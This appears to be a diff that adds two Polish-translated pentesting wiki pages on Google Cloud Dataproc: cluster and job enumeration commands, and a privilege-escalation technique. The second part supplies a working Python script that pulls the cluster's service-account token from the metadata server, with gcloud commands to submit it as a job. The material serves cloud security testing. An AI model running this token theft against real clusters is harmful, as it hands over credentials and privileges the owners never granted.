Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/

src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md

@@ -0,0 +1,54 @@
+# GCP Dataproc Privilege Escalation
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Dataproc
+
+{{#ref}}
+../gcp-services/gcp-dataproc-enum.md
+{{#endref}}
+
+### `dataproc.clusters.get`, `dataproc.clusters.use`, `dataproc.jobs.create`, `dataproc.jobs.get`, `dataproc.jobs.list`, `storage.objects.create`, `storage.objects.get`
+
+Nie udało mi się uzyskać odwrotnego powłoki za pomocą tej metody, jednak możliwe jest wycieknięcie tokena SA z punktu końcowego metadanych za pomocą opisanej poniżej metody.
+
+#### Kroki do wykorzystania
+
+- Umieść skrypt zadania w GCP Bucket
+
+- Złóż zadanie do klastra Dataproc.
+
+- Użyj zadania do uzyskania dostępu do serwera metadanych.
+
+- Wycieknij token konta usługi używanego przez klaster.
+```python
+import requests
+
+metadata_url = "http://metadata/computeMetadata/v1/instance/service-accounts/default/token"
+headers = {"Metadata-Flavor": "Google"}
+
+def fetch_metadata_token():
+try:
+response = requests.get(metadata_url, headers=headers, timeout=5)
+response.raise_for_status()
+token = response.json().get("access_token", "")
+print(f"Leaked Token: {token}")
+return token
+except Exception as e:
+print(f"Error fetching metadata token: {e}")
+return None
+
+if __name__ == "__main__":
+fetch_metadata_token()
+```
+
+```bash
+# Copy the script to the storage bucket
+gsutil cp <python-script> gs://<bucket-name>/<python-script>
+
+# Submit the malicious job
+gcloud dataproc jobs submit pyspark gs://<bucket-name>/<python-script> \
+--cluster=<cluster-name> \
+--region=<region>
+```
+{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/gcp-security/gcp-services/gcp-dataproc-enum.md

@@ -0,0 +1,43 @@
+# GCP -  Dataproc Enum
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Podstawowe informacje
+
+Google Cloud Dataproc to w pełni zarządzana usługa do uruchamiania Apache Spark, Apache Hadoop, Apache Flink i innych frameworków big data. Jest głównie używana do przetwarzania danych, zapytań, uczenia maszynowego i analityki strumieniowej. Dataproc umożliwia organizacjom łatwe tworzenie klastrów do obliczeń rozproszonych, bezproblemowo integrując się z innymi usługami Google Cloud Platform (GCP), takimi jak Cloud Storage, BigQuery i Cloud Monitoring.
+
+Klastry Dataproc działają na maszynach wirtualnych (VM), a konto usługi powiązane z tymi VM określa uprawnienia i poziom dostępu klastra.
+
+## Komponenty
+
+Typowy klaster Dataproc zawiera:
+
+Węzeł główny: Zarządza zasobami klastra i koordynuje rozproszone zadania.
+
+Węzły robocze: Wykonują rozproszone zadania.
+
+Konta usług: Obsługują wywołania API i uzyskują dostęp do innych usług GCP.
+
+## Enumeracja
+
+Klastry Dataproc, zadania i konfiguracje mogą być enumerowane w celu zebrania wrażliwych informacji, takich jak konta usług, uprawnienia i potencjalne błędy w konfiguracji.
+
+### Enumeracja klastra
+
+Aby enumerować klastry Dataproc i uzyskać ich szczegóły:
+```
+gcloud dataproc clusters list --region=<region>
+gcloud dataproc clusters describe <cluster-name> --region=<region>
+```
+### Enumeracja Zadań
+```
+gcloud dataproc jobs list --region=<region>
+gcloud dataproc jobs describe <job-id> --region=<region>
+```
+### Privesc
+
+{{#ref}}
+../gcp-privilege-escalation/gcp-dataproc-privesc.md
+{{#endref}}
+
+{{#include ../../../banners/hacktricks-training.md}}